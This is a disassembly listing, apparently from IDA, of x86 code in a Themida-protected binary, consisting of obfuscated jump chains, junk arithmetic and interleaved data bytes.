loc_5A2039:				; CODE XREF: Themida_:005A5876j
		shr	esi, 2
		add	esi, 533348BDh
		and	esi, 422D1144h
		xor	esi, 420C1000h
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		xor	eax, 6517D06h
		jb	loc_5AC859
		sub	esp, 4
		jmp	loc_59840F
; ---------------------------------------------------------------------------
		dd 5F98C581h, 0C7819704h, 47B4EAEh, 0EF81EF01h,	47B4EAEh
		dd 0C556E9h, 5DE90100h,	8BFBC181h, 0C829B850h, 74FF5059h
		dd 8F580424h, 895C2404h, 2BA2414h, 0E9000000h, 0FFFF66BDh
; ---------------------------------------------------------------------------


loc_5A20A4:				; CODE XREF: Themida_:005AEEE5j
		mov	ecx, 3C2279C0h
		sub	ecx, edx
		pop	edx
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		push	edi
		mov	edi, 5E4A7F0Bh
		add	edi, 2ECC7C87h
		neg	edi
		jmp	loc_5AEBBF
; ---------------------------------------------------------------------------
		dw 483h
		dd 0B4E90424h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A20EB:				; CODE XREF: Themida_:005A82D9j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B7DC
; ---------------------------------------------------------------------------


loc_5A20FA:				; CODE XREF: Themida_:0059CE50j
		mov	[esp], eax
		push	ebx
		mov	ebx, 6E4B455Ah
		jmp	loc_5A3E07
; ---------------------------------------------------------------------------


loc_5A2108:				; CODE XREF: Themida_:005A4924j
		mov	[esp], ebp
		jmp	loc_59FC3C
; ---------------------------------------------------------------------------


loc_5A2110:				; CODE XREF: Themida_:005ABB04j
		add	esp, 4
		add	ebp, 4
		jmp	loc_5A3D77
; ---------------------------------------------------------------------------


loc_5A211E:				; CODE XREF: Themida_:005AB6E9j
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_59AC71
; ---------------------------------------------------------------------------


loc_5A2129:				; CODE XREF: Themida_:0059A759j
		dec	eax
		push	esi
		mov	esi, 2ECA1E7Ch
		add	esi, 2FAF1178h
		push	edi
		mov	edi, 66654BFDh
		add	edi, 72828A58h
		add	esi, edi
		pop	edi
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_5A7582
; ---------------------------------------------------------------------------


loc_5A215C:				; CODE XREF: Themida_:005AE52Aj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2178:				; CODE XREF: Themida_:005AEEDAj
		push	ebp
		jmp	loc_59C4AD
; ---------------------------------------------------------------------------


loc_5A217E:				; CODE XREF: Themida_:0059F3F1j
		pop	ecx
		jmp	loc_5AC380
; ---------------------------------------------------------------------------


loc_5A2184:				; CODE XREF: Themida_:005A394Bj
		mov	esp, [esp]
		jmp	loc_5A59B7
; ---------------------------------------------------------------------------
		dd 840FDDF7h, 249Bh, 94E5ED81h,	0EA895EF8h, 0E9242C8Bh
		dd 0B45Bh, 0C8BB5356h, 0E945E401h, 0FFFF895Dh, 4C481h
		dd 0B9510000h, 21587F26h, 11F5C781h, 0CF290F82h, 11F5EF81h
		dd 0C7E90F82h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A21CF:				; CODE XREF: Themida_:005A2A60j
					; Themida_:005AD8C9j
		dec	esi
		shr	esi, 1
		js	loc_5A04A9
		push	ecx
		mov	ecx, 608C2772h
		shr	ecx, 4
		add	ecx, 78650FA3h
		inc	ecx
		or	ecx, 165F6E9Dh
		xor	ecx, 0BE812A54h
		add	esi, ecx
		pop	ecx
		push	6DE8h
		mov	[esp], esi
		jmp	loc_5A5DA3
; ---------------------------------------------------------------------------


loc_5A2204:				; CODE XREF: Themida_:005A60E6j
		jz	loc_59E39F
		neg	ebp
		inc	ebp
		jz	loc_5AAC1B
		push	edx
		jmp	loc_5A9443
; ---------------------------------------------------------------------------
aLSgl		db '‹,$ι£l',0
		dd 0BA525700h, 1C016A54h, 98AEAFBFh, 8BD7297Bh,	0C4832414h
		dd 44BF5704h, 1620016h,	931BE9FAh, 5B540000h, 0E9505356h
		dd 0D1CFh
; ---------------------------------------------------------------------------


loc_5A224C:				; CODE XREF: Themida_:005AE333j
		sub	eax, ecx
		pop	ecx
		push	ecx
		jmp	loc_5A9FF1
; ---------------------------------------------------------------------------


loc_5A2255:				; CODE XREF: Themida_:005A0BDBj
		neg	edi
		jns	loc_59EF18
		jmp	loc_5A2D11
; ---------------------------------------------------------------------------


loc_5A2262:				; CODE XREF: Themida_:0059C869j
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A9884
; ---------------------------------------------------------------------------


loc_5A2277:				; CODE XREF: Themida_:005ACB1Fj
		xor	ebp, esi
		pop	esi
		xor	ebp, 6F6929EFh
		push	eax
		mov	eax, 77CA7937h
		jmp	loc_5A03C5
; ---------------------------------------------------------------------------
		db 81h
		dd 1EEh, 78EE8100h, 5016CE69h, 309FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A229D:				; CODE XREF: Themida_:005A0A00j
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_59E64C
; ---------------------------------------------------------------------------


loc_5A22CD:				; CODE XREF: Themida_:005A50DBj
		add	eax, 4
		add	eax, 4
		jmp	loc_5A9080
; ---------------------------------------------------------------------------


loc_5A22DC:				; CODE XREF: Themida_:005ACC36j
		shl	edx, 1
		jnz	loc_5A78CF
		xor	edx, 8B21CDFFh
		push	ebp
		jmp	loc_5A78DB
; ---------------------------------------------------------------------------
		db 8Ah,	0F6h, 59h
; ---------------------------------------------------------------------------


loc_5A22F3:				; CODE XREF: Themida_:0059989Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5AE1E5
; ---------------------------------------------------------------------------


loc_5A230B:				; CODE XREF: Themida_:00598E80j
		mov	esi, 3F7223E3h
		push	ecx
		mov	ecx, 76E32936h
		mov	eax, 0D8B262E3h
		xor	eax, ecx
		pop	ecx
		sub	eax, esi
		pop	esi
		jmp	loc_5ACA2A
; ---------------------------------------------------------------------------


loc_5A2326:				; CODE XREF: Themida_:0059EF0Cj
		sub	eax, esi
		pop	esi
		sub	eax, 5ADF77EBh
		pop	ebp
		sub	eax, 7FDE0B5Fh
		sub	eax, ebx
		jmp	loc_5A8B1A
; ---------------------------------------------------------------------------


loc_5A233B:				; CODE XREF: Themida_:005A9AE6j
		mov	ecx, 3A822417h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 212E8089h
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A82C5
; ---------------------------------------------------------------------------


loc_5A2354:				; CODE XREF: Themida_:005A86B1j
		add	eax, 0DEF4C324h
		add	ecx, eax
		pop	eax
		jmp	loc_5A1356
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 0A432850Fh, 84E9FFFFh, 8F000047h, 0E8E92404h, 810000C3h
		dd 0AB1463EBh, 0E9CB014Dh, 63C1h
; ---------------------------------------------------------------------------


loc_5A2384:				; CODE XREF: Themida_:005A786Bj
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 0E9h, 0FAh, 5Fh
		dd 1CF7FFFFh, 0F1E99C24h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A239B:				; CODE XREF: Themida_:005A4681j
		push	eax
		jmp	loc_59E64C
; ---------------------------------------------------------------------------


loc_5A23A1:				; CODE XREF: Themida_:005ACC14j
		push	ebp
		mov	ebp, 4F97294Ch
		not	ebp
		jmp	loc_59BF2B
; ---------------------------------------------------------------------------


loc_5A23AE:				; CODE XREF: Themida_:005A9637j
		mov	cl, 0B7h
		shr	cl, 8
		push	ebx
		mov	bl, 16h
		inc	bl
		sub	bl, 18h
		jmp	loc_59B37F
; ---------------------------------------------------------------------------
		dd 384868h, 242C8900h, 7CF968h,	0BAE95600h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A23D3:				; CODE XREF: Themida_:005AF22Bj
		push	edx
		mov	edx, 51D06C70h
		mov	esi, 0B499FCECh
		add	esi, edx
		pop	edx
		sub	ebp, 3982AACh
		add	ebp, esi
		add	ebp, 3982AACh
		pop	esi
		jmp	loc_5ABDB3
; ---------------------------------------------------------------------------


loc_5A23F5:				; CODE XREF: Themida_:0059CAABj
		mov	ebp, edi
		pop	edi
		sub	ebp, ebx
		xchg	ebp, ebx
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 0E1D6A0D9h
		sub	eax, ebx
		pop	ebx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2410:				; CODE XREF: Themida_:005A5F6Aj
		pop	ebp
		push	esi
		xchg	edi, [esp]
		jmp	loc_5A86C7
; ---------------------------------------------------------------------------
		dw 0C189h
		dd 0E9CE0158h, 8C27h
; ---------------------------------------------------------------------------


loc_5A2424:				; CODE XREF: Themida_:005A713Ej
		or	eax, 2D00214Fh
		jns	loc_5A40DD
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		push	ebx
		jmp	loc_5A000A
; ---------------------------------------------------------------------------


loc_5A2439:				; CODE XREF: Themida_:005A99B7j
		xor	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	edx
		push	ecx
		push	1F774420h
		pop	ecx
		sub	ecx, 1F77441Ch
		mov	edx, ecx
		jmp	loc_59B546
; ---------------------------------------------------------------------------


loc_5A2460:				; CODE XREF: Themida_:0059F97Aj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		pop	edx
		jmp	loc_5A753F
; ---------------------------------------------------------------------------


loc_5A247B:				; CODE XREF: Themida_:005A11D1j
		add	esp, 4
		inc	eax
		js	loc_5AE900
		add	eax, 4CBE5BD6h
		jle	loc_5A08CD
		xor	eax, 17D19C7h
		jmp	loc_5A18AD
; ---------------------------------------------------------------------------


loc_5A249A:				; CODE XREF: Themida_:005A2AE5j
		not	eax
		jmp	loc_5A7496
; ---------------------------------------------------------------------------
		db 53h,	83h, 0ECh
		dd 4D50E904h, 0CCFE0000h, 28CFC480h, 3BCFE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A24B6:				; CODE XREF: Themida_:005AC75Aj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	ecx
		mov	ecx, 6FDD5F1Fh
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 7
		sub	ebx, 66AF417Eh
		add	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 265542A9h
		dec	edx
		jmp	loc_59EBA8
; ---------------------------------------------------------------------------


loc_5A24DD:				; CODE XREF: Themida_:0059ADF9j
		add	ebx, 4
		push	edx
		push	2
		pop	edx
		jmp	loc_5AF2E4
; ---------------------------------------------------------------------------


loc_5A24EF:				; CODE XREF: Themida_:0059B842j
		mov	[esp], bp
		pop	cx
		pop	bp
		xor	[esp], cx
		xor	cx, [esp]
		jmp	loc_5AD31A
; ---------------------------------------------------------------------------
		dd 45029668h, 241C8B6Ch, 8104C483h, 1C0E3BE3h, 0C48A0F33h
		dd 68FFFFDFh, 4F12h, 0BA241489h, 41787CB0h
		db 8Ah,	0DCh
; ---------------------------------------------------------------------------


loc_5A252A:				; CODE XREF: Themida_:005A5DFDj
		jmp	loc_59BE4F
; ---------------------------------------------------------------------------


loc_5A252F:				; CODE XREF: Themida_:0059D22Ej
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2534:				; CODE XREF: Themida_:005A1399j
		mov	ebx, esp
		jmp	loc_5A635F
; ---------------------------------------------------------------------------


loc_5A253B:				; CODE XREF: Themida_:005A1052j
		add	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 103A39B9h
		sub	ebx, ebp
		pop	ebp
		shl	ebx, 1
		push	edi
		mov	edi, 3E8BFA88h
		xor	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_59F484
; ---------------------------------------------------------------------------


loc_5A2559:				; CODE XREF: Themida_:005AA8EAj
		neg	ecx
		jmp	loc_59B470
; ---------------------------------------------------------------------------


loc_5A2560:				; CODE XREF: Themida_:005A0065j
		neg	edi
		add	edi, 1FDB4ABAh
		neg	edi
		shl	edi, 6
		xor	edi, 19BFA9CCh
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5ABD59
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0AD92E9h, 5F62BE00h, 0AEE95B5Ch, 89FFFFEBh
		dd 0EC812404h, 4, 24048F54h, 4BF57h, 7C010000h,	585F0424h
		dd 283768h, 240C8900h, 4EC81h, 1C890000h, 4BB24h, 9EE90000h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A25CF:				; CODE XREF: Themida_:005A4591j
		dec	eax
		jmp	loc_5A2AE3
; ---------------------------------------------------------------------------


loc_5A25D5:				; CODE XREF: Themida_:0059A83Ej
		pop	edx
		push	edx
		mov	edx, 6CC07BF1h
		not	edx
		sub	edx, 329752A9h
		xor	edx, 11977B3Fh
		neg	edx
		push	edi
		mov	edi, 3C860646h
		or	edx, edi
		jmp	loc_5A7716
; ---------------------------------------------------------------------------


loc_5A25F9:				; CODE XREF: Themida_:005AE694j
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_59896D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2FB0E281h, 0DAF77240h, 7BDF8D0Fh,	0DAF7FFFFh, 565F8C0Fh
		dd 0F2810000h, 1DAC4504h, 0C7068C0Fh, 0B951FFFFh, 17345904h
		dd 1716F181h, 0CA294898h, 0D88BE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A264A:				; CODE XREF: Themida_:0059998Ej
		push	edx
		mov	edx, 4
		jmp	loc_5AA14F
; ---------------------------------------------------------------------------


loc_5A2655:				; CODE XREF: Themida_:005ADD7Aj
		shl	ecx, 2
		or	ecx, 385D2157h
		sub	ecx, 31F3255Dh
		shr	ecx, 7
		shl	ecx, 2
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3B1A1729h
		jmp	loc_5AC125
; ---------------------------------------------------------------------------
		dw 0F65Ch
		dd 0B60F66F9h, 6C6866CCh, 0C896645h, 0D402E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A268E:				; CODE XREF: Themida_:00598B97j
		xor	dh, 97h
		push	eax
		push	ebx
		mov	bl, 2Ah
		jmp	loc_5A457D
; ---------------------------------------------------------------------------


loc_5A269A:				; CODE XREF: Themida_:005AC930j
		pop	esi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59A3AF
; ---------------------------------------------------------------------------


loc_5A26BC:				; CODE XREF: Themida_:005A100Bj
		mov	ch, al
		jmp	loc_5AED2B
; ---------------------------------------------------------------------------
		db 0ADh
		dd 207F83h, 7E4E840Fh, 2568FFFFh, 89000048h, 0E568240Ch
		dd 89000033h, 0E952241Ch, 8967h
; ---------------------------------------------------------------------------


loc_5A26E4:				; CODE XREF: Themida_:005A83FFj
		sub	edi, eax
		pop	eax
		add	eax, 122D24E4h
		sub	esp, 4
		jmp	loc_59AEAE
; ---------------------------------------------------------------------------
		db 1
		dd 3C875DEFh, 0E955E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2702:				; CODE XREF: Themida_:005A3345j
		push	ebx
		jmp	loc_5ADFDE
; ---------------------------------------------------------------------------


loc_5A2708:				; CODE XREF: Themida_:loc_5A1D19j
		or	ebp, 235E75F5h
		jb	loc_5A4EB8
		or	ebp, 568A3A16h
		jmp	loc_598926
; ---------------------------------------------------------------------------


loc_5A271F:				; CODE XREF: Themida_:005AD3A2j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5AB275
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 89E95156h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2733:				; CODE XREF: Themida_:0059CBCDj
		mov	ebx, 6C6B78BBh
		push	ecx
		push	esi
		mov	esi, 6C685978h
		mov	ecx, 1C624119h
		xor	ecx, esi
		pop	esi
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 2B42075Ch
		push	ecx
		mov	ecx, 1D8E7F65h
		sub	ebx, ecx
		jmp	loc_5A63E9
; ---------------------------------------------------------------------------


loc_5A2765:				; CODE XREF: Themida_:005A3874j
		add	eax, edx
		pop	edx
		push	edx
		mov	edx, 2
		sub	eax, 24216405h
		add	eax, edx
		add	eax, 24216405h
		pop	edx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_5AA2E6
; ---------------------------------------------------------------------------
		dd 0B4E9DEF7h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A279B:				; CODE XREF: Themida_:0059C69Dj
		mov	[esp], eax
		push	small 333Eh
		jmp	loc_5ADA93
; ---------------------------------------------------------------------------


loc_5A27A7:				; CODE XREF: Themida_:0059B81Fj
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 7E26D15h
		mov	eax, 33A7232Ah
		xor	eax, ecx
		pop	ecx
		push	ecx
		jmp	loc_5ADDF3
; ---------------------------------------------------------------------------


loc_5A27C8:				; CODE XREF: Themida_:005AC2ECj
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0BDE9h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A27CF:				; CODE XREF: Themida_:00599D36j
		push	esi
		jmp	loc_59AA1F
; ---------------------------------------------------------------------------


loc_5A27D5:				; CODE XREF: Themida_:005A0D3Bj
		add	ebx, 241709ACh
		add	ebx, eax
		push	eax
		mov	eax, 7500022Eh
		or	eax, 4FF00E88h
		add	eax, 0A3411CAh
		or	eax, 5D693DF2h
		sub	eax, 297819C7h
		neg	eax
		add	eax, 0DA0C2DDFh
		sub	ebx, eax
		pop	eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59B95D
; ---------------------------------------------------------------------------
		dd 0F92ED81h, 860F1566h, 0FFFF842Eh, 3CD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A281D:				; CODE XREF: Themida_:0059C758j
		push	ecx
		mov	ecx, 4
		jmp	loc_59A7BF
; ---------------------------------------------------------------------------


loc_5A2828:				; CODE XREF: Themida_:loc_5AB91Fj
		push	ecx
		mov	ecx, 54AD5F2Fh
		inc	ecx
		jmp	loc_5A061F
; ---------------------------------------------------------------------------


loc_5A2834:				; CODE XREF: Themida_:005AD57Dj
		add	esp, 4
		add	esi, 44583827h
		push	7BB5h
		mov	[esp], eax
		mov	eax, 13F173C8h
		or	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B2E0
; ---------------------------------------------------------------------------


loc_5A2857:				; CODE XREF: Themida_:005A5B20j
		shl	eax, 4
		inc	eax
		add	eax, 1415B350h
		sub	edi, 1E29162Bh
		add	edi, eax
		add	edi, 1E29162Bh
		pop	eax
		add	edi, esi
		sub	edi, 17187561h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, 400E7AE1h
		xor	esi, 59FB0757h
		jmp	loc_5A7D73
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 4EC8107h, 89000000h,	37BF243Ch, 5B837B9h, 463D2D78h
		dd 782DF829h, 0FF463D2Dh, 525F2434h, 5350E289h,	4BBh, 0E9D88900h
		dd 703Ch
; ---------------------------------------------------------------------------


loc_5A28C4:				; CODE XREF: Themida_:005ACF67j
		xchg	eax, esi
		jmp	loc_59883D
; ---------------------------------------------------------------------------


loc_5A28CA:				; CODE XREF: Themida_:005A9298j
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	cl, 6Bh
		push	eax
		mov	al, 5Bh
		and	cl, al
		pop	eax
		not	cl
		jmp	loc_5A4F90
; ---------------------------------------------------------------------------


loc_5A28DE:				; CODE XREF: Themida_:0059DC56j
		mov	eax, 220E185Bh
		push	edx
		mov	edx, 518657Dh
		jmp	loc_5AEAD0
; ---------------------------------------------------------------------------


loc_5A28EE:				; CODE XREF: Themida_:00599B29j
		mov	ebp, 26A92879h
		shr	ebp, 1
		push	ecx
		mov	ecx, 59FF36BFh
		jmp	loc_599F7A
; ---------------------------------------------------------------------------


loc_5A2900:				; CODE XREF: Themida_:005A929Ej
		mov	ebx, 3B5365A7h
		xor	ebx, 6DD916C5h
		and	ebx, 174E76F0h
		xor	ebx, 7B0C074Fh
		jmp	loc_5AB44F
; ---------------------------------------------------------------------------


loc_5A291C:				; CODE XREF: Themida_:0059AC11j
		pop	eax
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		xor	ebx, [esp]
		jmp	loc_5A44D3
; ---------------------------------------------------------------------------


loc_5A2931:				; CODE XREF: Themida_:0059BE74j
		pop	ecx
		mov	ecx, 0A84998ABh
		add	ecx, eax
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 6624248Bh, 0E9240C8Bh, 0FFFFA57Ch
; ---------------------------------------------------------------------------


loc_5A2950:				; CODE XREF: Themida_:005A988Fj
		add	edx, 4
		jmp	loc_5AB812
; ---------------------------------------------------------------------------


loc_5A295B:				; CODE XREF: Themida_:005A425Bj
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	edi
		or	ecx, 5F34051Dh
		jmp	loc_5AD7E7
; ---------------------------------------------------------------------------
		dd 5A0AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2982:				; CODE XREF: Themida_:0059DB97j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 35D85D67h
		dec	ebx
		and	ebx, 72984BB5h
		sub	ebx, 7CD140C3h
		sub	ebx, 0B3C7085Dh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, 1E9723F2h
		not	edi
		neg	edi
		sub	edi, 6D217378h
		dec	edi
		shr	edi, 2
		add	edi, 2BDC0B9Ah
		sub	ecx, edi
		jmp	loc_5A1F71
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0B6E9240Ch
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A29DB:				; CODE XREF: Themida_:005A8F55j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		jmp	loc_59C3DF
; ---------------------------------------------------------------------------


loc_5A2A08:				; CODE XREF: Themida_:0059F385j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5AAB38
; ---------------------------------------------------------------------------


loc_5A2A21:				; CODE XREF: Themida_:0059893Bj
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		push	7890h
		jmp	loc_5A652D
; ---------------------------------------------------------------------------


loc_5A2A32:				; CODE XREF: Themida_:005A8200j
		sub	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	421Bh
		mov	[esp], edi
		jmp	loc_5AE721
; ---------------------------------------------------------------------------


loc_5A2A57:				; CODE XREF: Themida_:005A3C6Bj
		pop	edi
		mov	esi, 6C7854ADh
		xor	esi, edi
		pop	edi
		jmp	loc_5A21CF
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 8B240C87h, 6F042424h, 6F2CF800h, 4EC81h, 0C890000h
		dd 0FE65B524h, 0CAC580C5h, 804FE580h, 0F580DAC5h, 59E828A8h
		dd 0C4E95B66h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2A97:				; CODE XREF: Themida_:0059DCBBj
					; Themida_:0059F883j
		push	edx
		mov	edx, 6D6E220Bh
		shl	edx, 7
		jmp	loc_5A1B61
; ---------------------------------------------------------------------------


loc_5A2AA5:				; CODE XREF: Themida_:005A439Fj
		sub	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_5ABBFD
; ---------------------------------------------------------------------------


loc_5A2AAE:				; CODE XREF: Themida_:005A3830j
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 738C277Dh
		shl	edx, 3
		push	edx
		not	dword ptr [esp]
		pop	edx
		neg	edx
		dec	edx
		not	edx
		add	edx, 0CBE9960Eh
		xor	ebx, edx
		pop	edx
		jmp	loc_5A5EFF
; ---------------------------------------------------------------------------
		dd 8B240C87h, 9FE92424h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2AE3:				; CODE XREF: Themida_:005A25D0j
		neg	eax
		jmp	loc_5A249A
; ---------------------------------------------------------------------------


loc_5A2AEA:				; CODE XREF: Themida_:0059F195j
					; Themida_:005A2939j
		pop	eax
		jmp	loc_5AADBB
; ---------------------------------------------------------------------------
aVsJ		db 'Vι΅J',0
		align 2
		dw 91E9h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2AFB:				; CODE XREF: Themida_:005AF3A3j
		add	ecx, 1CE1ED44h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AA478
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 4
		dd 0FF00005Eh, 589D1C77h, 9C240411h, 0FF5867E9h, 28F66FFh
		dd 0FF585FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2B2D:				; CODE XREF: Themida_:005A967Dj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A144A
; ---------------------------------------------------------------------------


loc_5A2B39:				; CODE XREF: Themida_:0059E6EEj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ACE87
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 13CDFDA0h, 815FFE89h, 4ECh, 68F9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2B5A:				; CODE XREF: Themida_:0059BC56j
		xor	al, bl
		jmp	loc_5AA49F
; ---------------------------------------------------------------------------


loc_5A2B61:				; CODE XREF: Themida_:005AF1F8j
		sub	ebx, 27954C3Eh
		pop	edi
		sub	esp, 4
		jmp	loc_5ABDEB
; ---------------------------------------------------------------------------


loc_5A2B70:				; CODE XREF: Themida_:005A2FDBj
		pop	ebp
		sub	edx, 0FDA72E1h
		push	edx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	edx
		jmp	loc_59EB95
; ---------------------------------------------------------------------------


loc_5A2B86:				; CODE XREF: Themida_:0059D2C3j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2B8F:				; CODE XREF: Themida_:loc_59DFBBj
		sub	ebp, 5B4D5506h
		jmp	loc_5A1F8D
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 18E957C5h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2BA3:				; CODE XREF: Themida_:005A3905j
		mov	dl, 0A2h
		sub	bl, 41h
		jmp	loc_5ACFFD
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 0FE511EEFh, 0C8B5B1Fh, 2FE4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2BBE:				; CODE XREF: Themida_:0059DFE6j
		push	edx
		mov	edx, 4FB0602Ah
		sub	[esp+8], edx
		pop	edx
		add	[esp+4], ebx
		add	dword ptr [esp+4], 4FB0602Ah
		add	dword ptr [esp+4], 1AF52AF8h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5A856F
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFA1AAh
; ---------------------------------------------------------------------------


loc_5A2BF0:				; CODE XREF: Themida_:005AD573j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	ebx, 0EE510F5Ch
		jmp	loc_59B85E
; ---------------------------------------------------------------------------


loc_5A2C0A:				; CODE XREF: Themida_:005AB8CDj
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_5ACF18
